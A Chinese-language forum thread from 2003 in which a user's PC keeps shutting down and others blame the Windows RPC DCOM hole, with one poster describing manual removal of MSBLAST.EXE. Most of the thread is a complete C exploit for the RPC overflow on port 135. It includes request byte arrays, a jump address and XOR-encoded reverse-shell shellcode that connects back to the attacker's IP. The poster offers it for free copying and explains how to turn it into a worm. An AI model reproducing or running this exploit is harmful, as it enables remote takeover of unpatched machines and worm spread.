我晕的机子！！！！！！！！！

今天上网上了一半，系统弹出意外出错，windows要关机，妈的，关就关，开了上了十几分钟又这样，我晕！！！！！再开机，用瑞星查了，没病毒，优化大师也没查出错误。我就用注册表备份更新了注册表。半小时不到，又来了。我晕！！！！！
& x/ ^$ ^% J) p( c+ |! W火死了，格了重装了xp。装好后，半小时不到，**你妈了，又来了，
我想，不会是硬件吧。还了linux上，两小时没事。
. |! l% U! H/ X# \; ~1 }妈的，真的是见鬼了，今天好像是有点衰，但电脑毕竟是死的，怎么也和我过不去啊！！

yzhlinux

嘿嘿，rpc 的漏洞被人黑了啊，还不知道吗？
) X) Y+ J$ C/ m, c9 j赶快打补丁去，即使不被人黑，被rpc的病毒染上更讨厌。

ASEE

我讨厌杀毒软件，因此就喜欢手工杀了，关键是打好补丁（SP之类的，还有RPC补丁），我公司的机器今天全中RPC漏洞病毒，这个病毒还自动检测并生成了一个文件，注册表项也增加了几个调用的键值，程序启动后开了TCP和UDP的N多端口，不断的连接远程的135端口企图进一步的感染，因为我机器上的防火墙对局域网开放着，而且同事的机器都没有防火墙，因此也挨了这个病毒，这个自动生成的文件位于系统目录/WINNT/SYSTEM32下，名字为MSBLAST.EXE，这个文件被另外一个进程SVCHOST.exe启动，并不断的检测内存，因此我杀掉那个SVCHOST.exe进程之后，接着再杀掉MSBLAST.EXE这个进程，然后删除系统目录/WINNT/SYSTEM32的文件和注册表项，之后打SP和RPC补丁，防火墙阻挡所有对我机器135端口的连接，重新启动之后，最后用ACTIVE PORTS检测端口和程序文件，暂且没有事情发生,还在关注中...。

yzhlinux

上上周和 hzzh 讨论了一个下午，他的程序强，window的一系列版本都被包括了，可以在远程开一个帐号或者一个shell，然后悄悄从启动 rpc 服务，让人觉得什么都没有发生，那个时候我就说一定会爆发病毒了，果然马上就出来了。
以下是主要代码（小翅你第一次尝的就是这个）：
void main(int argc,char ** argv)
2 a; [5 U. y8 [# }# L{
   WSADATA WSAData;
   SOCKET sock;
# J/ S9 F. O9 b: A* l2 [   int len,len1;
   SOCKADDR_IN addr_in;
% ]0 o  @8 l. C1 \8 Z3 Z5 v- v   short port=135;
   unsigned char buf1[0x1000];
   unsigned char buf2[0x1000];
2 J, L% a/ K. t0 p' ?( @' \   unsigned short port1;
) G7 i; d, ~2 g4 U0 t  H& O   DWORD cb;
+ H& o8 a9 H# F
   if (WSAStartup(MAKEWORD(2,0),&WSAData)!=0)
   {
     printf("WSAStartup error.Error:d\n",WSAGetLastError());
     return;
! \6 H! r& k  h   }
3 v3 b9 [6 c2 [" r
/ G1 ]& {; W9 W  [7 N# L   addr_in.sin_family=AF_INET;
9 M# ?0 k' `; U2 \5 R) c1 D   addr_in.sin_port=htons(port);
5 Z  F4 z5 \" m' F, x. ?# w   addr_in.sin_addr.S_un.S_addr=inet_addr(argv[1]);
4 e& l% d( A3 d* h9 u   
   if ((sock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==INVALID_SOCKET)
( k/ q3 J. X/ n; K' H2 ^   {
# ~: E* N# h9 b, I- n     printf("Socket failed.Error:d\n",WSAGetLastError());
- Z+ W3 I6 Q2 j' B" b     return;
) Y' G3 R4 B8 i7 i. @) W   }
   if(WSAConnect(sock,(struct sockaddr *)&addr_in,sizeof(addr_in),NULL,NULL,NULL,NULL)==SOCKET_ERROR)
) B, ^! o$ r  n   {
0 k( p/ i' h3 t  l0 N( q) u# W" [% @* n     printf("Connect failed.Error:d",WSAGetLastError());
% b; Y8 k4 `% x  v  O     return;
) b1 _1 A* y5 J4 w! p0 `/ J   }
   port1 = htons (2300);                //反向连接的端口
   port1 ^= 0x9393;
8 ], a. c, o$ a  P4 |( ?   cb=0X0900A8C0;                                //反向连接的IP地址，这里是192.168.0.9，我的 ip 地址
   cb ^= 0x93939393;
/ U7 q4 r+ ^* a   *(unsigned short *)&sc[330+0x30] = port1;
   *(unsigned int *)&sc[335+0x30] = cb;
   len=sizeof(sc);
   memcpy(buf2,request1,sizeof(request1));
, N  G. T+ l# r) w% v1 p% q   len1=sizeof(request1);
: T# Q2 T& y) T   *(DWORD *)(request2)=*(DWORD *)(request2)+sizeof(sc)/2;                //计算文件名双字节长度
% K% D# P3 j: ~  q   *(DWORD *)(request2+8)=*(DWORD *)(request2+8)+sizeof(sc)/2;        //计算文件名双字节长度
- Q3 u& x# L) ~  O/ F   memcpy(buf2+len1,request2,sizeof(request2));
! q  G" q& z" S8 P8 ]6 W9 ^3 I0 h   len1=len1+sizeof(request2);
   memcpy(buf2+len1,sc,sizeof(sc));
: a. O9 Z6 o) L. j- p( [9 {   len1=len1+sizeof(sc);
   memcpy(buf2+len1,request3,sizeof(request3));
' d; }4 z) q+ e# d' x2 i   len1=len1+sizeof(request3);
9 ^# V2 c% O& @! z0 f   memcpy(buf2+len1,request4,sizeof(request4));
   len1=len1+sizeof(request4);
' E5 K% f! X% s, E   *(DWORD *)(buf2+8)=*(DWORD *)(buf2+8)+sizeof(sc)-0xc;
   //计算各种结构的长度
3 ?: M! w; Z2 c9 E( P   *(DWORD *)(buf2+0x10)=*(DWORD *)(buf2+0x10)+sizeof(sc)-0xc;
   *(DWORD *)(buf2+0x80)=*(DWORD *)(buf2+0x80)+sizeof(sc)-0xc;
! J8 V) A% e! V0 o0 m   *(DWORD *)(buf2+0x84)=*(DWORD *)(buf2+0x84)+sizeof(sc)-0xc;
3 T+ q; A; S% ^: I: d' `5 D   *(DWORD *)(buf2+0xb4)=*(DWORD *)(buf2+0xb4)+sizeof(sc)-0xc;
# k3 E# {5 i& \6 T6 Q7 h  t   *(DWORD *)(buf2+0xb8)=*(DWORD *)(buf2+0xb8)+sizeof(sc)-0xc;
1 i8 H7 J# _7 N: I( e5 J2 R   *(DWORD *)(buf2+0xd0)=*(DWORD *)(buf2+0xd0)+sizeof(sc)-0xc;
   *(DWORD *)(buf2+0x18c)=*(DWORD *)(buf2+0x18c)+sizeof(sc)-0xc;
   if (send(sock,(char *)bindstr,sizeof(bindstr),0)==SOCKET_ERROR)
   {
$ {: T$ L$ G* j; M! y; M) H7 }        printf("Send failed.Error:d\n",WSAGetLastError());
        return;
' I/ x; E! J6 l; q   }
" ^' ?6 n8 C! v9 w   
   len=recv(sock,(char *)buf1,1000,NULL);
   if (send(sock,(char *)buf2,len1,0)==SOCKET_ERROR)
" ~/ q8 @3 t  i" d7 p# p# D   {
9 Q1 [. W1 |/ q+ ~; |        printf("Send failed.Error:d\n",WSAGetLastError());
        return;
# a* J# G% l+ F% }9 ^# I/ U   }
   len=recv(sock,(char *)buf1,1024,NULL);
3 a6 r% w7 G! I( p4 d0 ?0 V6 X) f7 L}
其中变量：request4[]，sc[]，request3[]，request2[],request1[],bindstr[] 都是 unsigned char 。
, i/ N( C& E  X8 b& t: G7 _其实他们就是后门 shell 和 溢出的请求，如下：
  F* Y# X, k( s! yunsigned char bindstr[]={
0x05,0x00,0x0B,0x03,0x10,0x00,0x00,0x00,0x48,0x00,0x00,0x00,0x7F,0x00,0x00,0x00,
: Z: P3 t* P9 D1 r. R9 M  M0xD0,0x16,0xD0,0x16,0x00,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x01,0x00,0x01,0x00,
0xa0,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0x00,0x00,0x00,0x00,
6 k3 u1 W  {: j) E8 g0x04,0x5D,0x88,0x8A,0xEB,0x1C,0xC9,0x11,0x9F,0xE8,0x08,0x00,
0x2B,0x10,0x48,0x60,0x02,0x00,0x00,0x00};

unsigned char request1[]={
8 D: _4 p7 B5 k4 f+ ]6 G' ^; w0x05,0x00,0x00,0x03,0x10,0x00,0x00,0x00,0xE8,0x03
7 t, c  U4 {4 B' M9 E,0x00,0x00,0xE5,0x00,0x00,0x00,0xD0,0x03,0x00,0x00,0x01,0x00,0x04,0x00,0x05,0x00
,0x06,0x00,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x32,0x24,0x58,0xFD,0xCC,0x45
,0x64,0x49,0xB0,0x70,0xDD,0xAE,0x74,0x2C,0x96,0xD2,0x60,0x5E,0x0D,0x00,0x01,0x00
9 _' A% @/ p: g5 Z+ ?5 I,0x00,0x00,0x00,0x00,0x00,0x00,0x70,0x5E,0x0D,0x00,0x02,0x00,0x00,0x00,0x7C,0x5E
$ D* P: \( }# d; [( @,0x0D,0x00,0x00,0x00,0x00,0x00,0x10,0x00,0x00,0x00,0x80,0x96,0xF1,0xF1,0x2A,0x4D
" {( x0 z- `6 F,0xCE,0x11,0xA6,0x6A,0x00,0x20,0xAF,0x6E,0x72,0xF4,0x0C,0x00,0x00,0x00,0x4D,0x41
4 N$ Q+ g7 }# ]) @% E) x; i,0x52,0x42,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x0D,0xF0,0xAD,0xBA,0x00,0x00
- `" k( N  e1 K7 }* S. R,0x00,0x00,0xA8,0xF4,0x0B,0x00,0x60,0x03,0x00,0x00,0x60,0x03,0x00,0x00,0x4D,0x45
( ^, W# _7 P1 s+ Z,0x4F,0x57,0x04,0x00,0x00,0x00,0xA2,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0xC0,0x00
,0x00,0x00,0x00,0x00,0x00,0x46,0x38,0x03,0x00,0x00,0x00,0x00,0x00,0x00,0xC0,0x00
,0x00,0x00,0x00,0x00,0x00,0x46,0x00,0x00,0x00,0x00,0x30,0x03,0x00,0x00,0x28,0x03
" W% ?3 Q7 D) X% k,0x00,0x00,0x00,0x00,0x00,0x00,0x01,0x10,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0xC8,0x00
& f9 Y! K! m) B' A,0x00,0x00,0x4D,0x45,0x4F,0x57,0x28,0x03,0x00,0x00,0xD8,0x00,0x00,0x00,0x00,0x00
, z) d" o: Y) S" w6 s4 b3 q; }  ~9 `,0x00,0x00,0x02,0x00,0x00,0x00,0x07,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xC4,0x28,0xCD,0x00,0x64,0x29
,0xCD,0x00,0x00,0x00,0x00,0x00,0x07,0x00,0x00,0x00,0xB9,0x01,0x00,0x00,0x00,0x00
& a7 E, d2 u; n$ d( J" f/ o,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0xAB,0x01,0x00,0x00,0x00,0x00
5 @/ U, v+ u1 h8 X' N! @+ d5 o,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0xA5,0x01,0x00,0x00,0x00,0x00
,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0xA6,0x01,0x00,0x00,0x00,0x00
8 T& @# n) _# l( F1 S. },0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0xA4,0x01,0x00,0x00,0x00,0x00
. o$ i4 H* F6 c3 \  L+ {1 q; c,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0xAD,0x01,0x00,0x00,0x00,0x00
" C. I9 @4 }( B/ q5 `6 X4 L,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0xAA,0x01,0x00,0x00,0x00,0x00
,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0x07,0x00,0x00,0x00,0x60,0x00
5 l) J1 k$ T2 r; S1 b/ A,0x00,0x00,0x58,0x00,0x00,0x00,0x90,0x00,0x00,0x00,0x40,0x00,0x00,0x00,0x20,0x00
,0x00,0x00,0x78,0x00,0x00,0x00,0x30,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x01,0x10
,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x50,0x00,0x00,0x00,0x4F,0xB6,0x88,0x20,0xFF,0xFF
,0xFF,0xFF,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
; L3 Q/ Z& l5 P" d& H2 Q2 I,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
5 L' e# K; b7 R# v- e$ D1 L" S1 S,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
  M, Q% P$ \, v2 D/ Z" K  A,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
) v* I- ^3 h; W' L+ U,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x01,0x10
! @( _0 O/ ?7 u,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x48,0x00,0x00,0x00,0x07,0x00,0x66,0x00,0x06,0x09
,0x02,0x00,0x00,0x00,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0x10,0x00
,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x00,0x00
  V1 I, y& h* e$ m,0x00,0x00,0x78,0x19,0x0C,0x00,0x58,0x00,0x00,0x00,0x05,0x00,0x06,0x00,0x01,0x00
,0x00,0x00,0x70,0xD8,0x98,0x93,0x98,0x4F,0xD2,0x11,0xA9,0x3D,0xBE,0x57,0xB2,0x00
5 q& I# a- l  @4 y/ ]: B8 i,0x00,0x00,0x32,0x00,0x31,0x00,0x01,0x10,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x80,0x00
,0x00,0x00,0x0D,0xF0,0xAD,0xBA,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
1 N/ ]. o% U. n4 D3 D+ @7 `: u! G: x,0x00,0x00,0x00,0x00,0x00,0x00,0x18,0x43,0x14,0x00,0x00,0x00,0x00,0x00,0x60,0x00
' f+ V0 ?, q  j8 s: G5 D5 P4 G,0x00,0x00,0x60,0x00,0x00,0x00,0x4D,0x45,0x4F,0x57,0x04,0x00,0x00,0x00,0xC0,0x01
,0x00,0x00,0x00,0x00,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0x3B,0x03
,0x00,0x00,0x00,0x00,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46,0x00,0x00
& r! ?! O8 z4 `+ L) x: ?,0x00,0x00,0x30,0x00,0x00,0x00,0x01,0x00,0x01,0x00,0x81,0xC5,0x17,0x03,0x80,0x0E
,0xE9,0x4A,0x99,0x99,0xF1,0x8A,0x50,0x6F,0x7A,0x85,0x02,0x00,0x00,0x00,0x00,0x00
,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
+ c3 N# g# F6 M5 @,0x00,0x00,0x01,0x00,0x00,0x00,0x01,0x10,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x30,0x00
' |+ M4 Q% i, }3 R+ T,0x00,0x00,0x78,0x00,0x6E,0x00,0x00,0x00,0x00,0x00,0xD8,0xDA,0x0D,0x00,0x00,0x00
,0x00,0x00,0x00,0x00,0x00,0x00,0x20,0x2F,0x0C,0x00,0x00,0x00,0x00,0x00,0x00,0x00
/ X) u6 k- f/ W" `. X,0x00,0x00,0x03,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x03,0x00,0x00,0x00,0x46,0x00
,0x58,0x00,0x00,0x00,0x00,0x00,0x01,0x10,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x10,0x00
% R" ?; t# Q! U$ x6 b,0x00,0x00,0x30,0x00,0x2E,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00
,0x00,0x00,0x00,0x00,0x00,0x00,0x01,0x10,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x68,0x00
* W4 V8 N1 V+ d  W, ~) y, j9 J,0x00,0x00,0x0E,0x00,0xFF,0xFF,0x68,0x8B,0x0B,0x00,0x02,0x00,0x00,0x00,0x00,0x00
,0x00,0x00,0x00,0x00,0x00,0x00};

unsigned char request2[]={
" y" ~: @% i- Y/ z0x20,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x20,0x00
6 A' v% p* L/ O,0x00,0x00,0x5C,0x00,0x5C,0x00};
9 \. k+ [0 K; R
% l; C  O& h- R$ N% Y/ H" Uunsigned char request3[]={
0x5C,0x00
,0x43,0x00,0x24,0x00,0x5C,0x00,0x31,0x00,0x32,0x00,0x33,0x00,0x34,0x00,0x35,0x00
) T4 P; e$ s: U& }/ A,0x36,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00
,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00,0x31,0x00
% @" C" `) T! m" G& M: l$ X,0x2E,0x00,0x64,0x00,0x6F,0x00,0x63,0x00,0x00,0x00};

unsigned char sc[]=
   "\x46\x00\x58\x00\x4E\x00\x42\x00\x46\x00\x58\x00"
   "\x46\x00\x58\x00\x4E\x00\x42\x00\x46\x00\x58\x00\x46\x00\x58\x00"
! V+ W- k4 y1 S   "\x46\x00\x58\x00"
4 L* C" S6 N1 E! l( `; L& ^! f* H$ p   "\x46\x00\x58\x00\x25\x2b\xaa\x77"                                 //JMP ESP地址 IN ole32.DLL，可能需要自己改动
   "\x38\x6e\x16\x76\x0d\x6e\x16\x76"                                 //需要是可写的内存地址
! c0 d) ?8 V: I" r# q                                                                                                     //下面是SHELLCODE，可以放自己的SHELLCODE，但必须保证sc的整体长度/16=12
; }9 \3 }" Z0 ]# Q3 Y( k                                                                                                     //SHELLCODE不存在0X00，0X00与0X5C
2 i5 C; M5 r% \! f( p- J   "\xeb\x02\xeb\x05\xe8\xf9\xff\xff\xff\x58\x83\xc0\x1b\x8d\xa0\x01"
   "\xfc\xff\xff\x83\xe4\xfc\x8b\xec\x33\xc9\x66\xb9\x99\x01\x80\x30"
   "\x93\x40\xe2\xfa"                                                           // code
, ~4 r/ R4 G7 w, M1 L   "\x7b\xe4\x93\x93\x93\xd4\xf6\xe7\xc3\xe1\xfc\xf0\xd2\xf7\xf7\xe1"
5 ~' I# g0 R( `, |   "\xf6\xe0\xe0\x93\xdf\xfc\xf2\xf7\xdf\xfa\xf1\xe1\xf2\xe1\xea\xd2"
   "\x93\xd0\xe1\xf6\xf2\xe7\xf6\xc3\xe1\xfc\xf0\xf6\xe0\xe0\xd2\x93"
   "\xd0\xff\xfc\xe0\xf6\xdb\xf2\xfd\xf7\xff\xf6\x93\xd6\xeb\xfa\xe7"
   "\xc7\xfb\xe1\xf6\xf2\xf7\x93\xe4\xe0\xa1\xcc\xa0\xa1\x93\xc4\xc0"
3 O$ k6 M( o+ y8 s   "\xd2\xc0\xe7\xf2\xe1\xe7\xe6\xe3\x93\xc4\xc0\xd2\xc0\xfc\xf0\xf8"
   "\xf6\xe7\xd2\x93\xf0\xff\xfc\xe0\xf6\xe0\xfc\xf0\xf8\xf6\xe7\x93"
   "\xf0\xfc\xfd\xfd\xf6\xf0\xe7\x93\xf0\xfe\xf7\x93\xc9\xc1\x28\x93"
0 v) o1 y, u  D# w) f2 ?' E3 s: ]   "\x93\x63\xe4\x12\xa8\xde\xc9\x03\x93\xe7\x90\xd8\x78\x66\x18\xe0"
. @/ B0 d4 R2 R3 Z# d- V   "\xaf\x90\x60\x18\xe5\xeb\x90\x60\x18\xed\xb3\x90\x68\x18\xdd\x87"
- `. ^5 b! r- F   "\xc5\xa0\x53\xc4\xc2\x18\xac\x90\x68\x18\x61\xa0\x5a\x22\x9d\x60"
4 j3 F- _8 u+ A3 M0 d   "\x35\xca\xcc\xe7\x9b\x10\x54\x97\xd3\x71\x7b\x6c\x72\xcd\x18\xc5"
8 _/ |" Y/ @% ?" G' L   "\xb7\x90\x40\x42\x73\x90\x51\xa0\x5a\xf5\x18\x9b\x18\xd5\x8f\x90"
+ }& j" ]7 ]( R2 v  k& n1 t   "\x50\x52\x72\x91\x90\x52\x18\x83\x90\x40\xcd\x18\x6d\xa0\x5a\x22"
   "\x97\x7b\x08\x93\x93\x93\x10\x55\x98\xc1\xc5\x6c\xc4\x63\xc9\x18"
   "\x4b\xa0\x5a\x22\x97\x7b\x14\x93\x93\x93\x10\x55\x9b\xc6\xfb\x92"
3 U% O5 H& x7 d! v4 v3 ~   "\x92\x93\x93\x6c\xc4\x63\x16\x53\xe6\xe0\xc3\xc3\xc3\xc3\xd3\xc3"
6 S) N: e8 U$ W8 m; x   "\xd3\xc3\x6c\xc4\x67\x10\x6b\x6c\xe7\xf0\x18\x4b\xf5\x54\xd6\x93"
   "\x91\x93\xf5\x54\xd6\x91\x28\x39\x54\xd6\x97\x4e\x5f\x28\x39\xf9"
" C' s. E9 ]  _' z6 `! T   "\x83\xc6\xc0\x6c\xc4\x6f\x16\x53\xe6\xd0\xa0\x5a\x22\x82\xc4\x18"
. Z& D3 i6 b3 O2 Q. c! e   "\x6e\x60\x38\xcc\x54\xd6\x93\xd7\x93\x93\x93\x1a\xce\xaf\x1a\xce"
  j; E1 j$ E5 h# u% b0 k   "\xab\x1a\xce\xd3\x54\xd6\xbf\x92\x92\x93\x93\x1e\xd6\xd7\xc3\xc6"
   "\xc2\xc2\xc2\xd2\xc2\xda\xc2\xc2\xc5\xc2\x6c\xc4\x77\x6c\xe6\xd7"
   "\x7f\x19\x95\xd5\x17\x53\xe6\x6a\xc2\xc1\xc5\xc0\x6c\x41\xc9\xca"
   "\x1a\x94\xd4\xd4\xd4\xd4\x71\x7a\x50\x90\x90"
   "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90";

unsigned char request4[]={
! a* x0 `) \; x( ]4 t( Z0x01,0x10
  W) `6 s9 m2 J7 c4 D% \4 e4 R% X,0x08,0x00,0xCC,0xCC,0xCC,0xCC,0x20,0x00,0x00,0x00,0x30,0x00,0x2D,0x00,0x00,0x00
# C5 ?' n+ A" }( Q+ j% d7 I5 \,0x00,0x00,0x88,0x2A,0x0C,0x00,0x02,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x28,0x8C
$ C! \2 O$ A; Y9 r: N2 r,0x0C,0x00,0x01,0x00,0x00,0x00,0x07,0x00,0x00,0x00,0x00,0x00,0x00,0x00
  }3 Q, E5 F: O3 P9 @};
这就是完整的一个攻击程序了，如果把 后门 shell 换成一个复制自己然后在用这段代码来攻击别人的，那么就是 一个病毒了。
注意：这段代码功能比 hzzh 的要弱，只针对一个window版本，同时为防止没有道德的菜鸟直接编译了就去害人，这里我没有给出头文件。需要的可以和我联系看看。

yzhlinux

注意：
以上代码绝大部分来自 internet ，然后组装而成，也不知道该怎么说版权，大家随意拷贝，可以不注出处。

( B" R& _& e3 _$ ]9 Q4 E8 K4 h

[此贴子已经被作者于2003-8-13 0:05:25编辑过]

; j+ z4 c* X9 g/ m7 C0 O

呵呵，早补好了，刚发了贴，就在远望看到了这鸟东东，我怎么这么衰啊，今天一大早就中标，   hzzh 好好厉害啊，小弟佩服啊，多多指教！！！！！！！！！！！

ASEE

你没有确定好JMP ESP地址 IN ole32.DLL地址吧，还是没有确定好内存的地址？HZZH对这个有深入的研究，写出来的自然是多个WINDOWS版本的，上面那些数字SHELL CODE代码真难看懂，一个家伙捆绑了更强大和精巧的SHELL CODE，可以针对N个WIN版本的，叫chDCOM.exe和endcom.EXE，可惜不知道哪里有原代码，要是懂汇编，我反汇编过来瞧个痛快。

yzhlinux

针对n个版本并不是难事，只要收集足够的地址就可以了，然后供选择就可以了。
0 `  Q0 ]/ h" e, i2 i$ V那些 shell code 这样看怎么可能看得懂？编译的结果啊。
5 `6 L2 @% T' \0 O8 A- Z$ ]

大家说先学vb再学c是不是一种悲哀啊?？、？？？

yzhlinux

当然不是，没有理由这样说。

那你认为呢？

我睡了，明天再看你的答案

yzhlinux

答案很清楚：
7 y# C# I2 p& ]0 Z+ _" `# X; L+ e3 E7 L我认为多做事，少说话，尤其是废话。而讨论C好还是VB好，先学习C 好还是先学习VB好，那么你应该去学习，管他哪个语言！而不是在这里说。

ASEE

VB就象PHP，我认为，可能我这么说，VB高手们不同意，PHP高手门也不乐意。
呵呵，本人肤浅的认识而已，不要介意，总之C++学到一定程度，什么语言都是小菜。VB，C/C++，PHP管他什么语言，学了再说，精通了再说，做软件不光看语言，而且看架构和思想，我接触的PHP,那些高手照样能写出大型的应用系统，而且使用大量的OO思想来架构系统，真是佩服。


6 R! S) |. g& Z7 P

[此贴子已经被作者于2003-8-13 11:57:54编辑过]

9 d4 L, v, [; p% N# g: v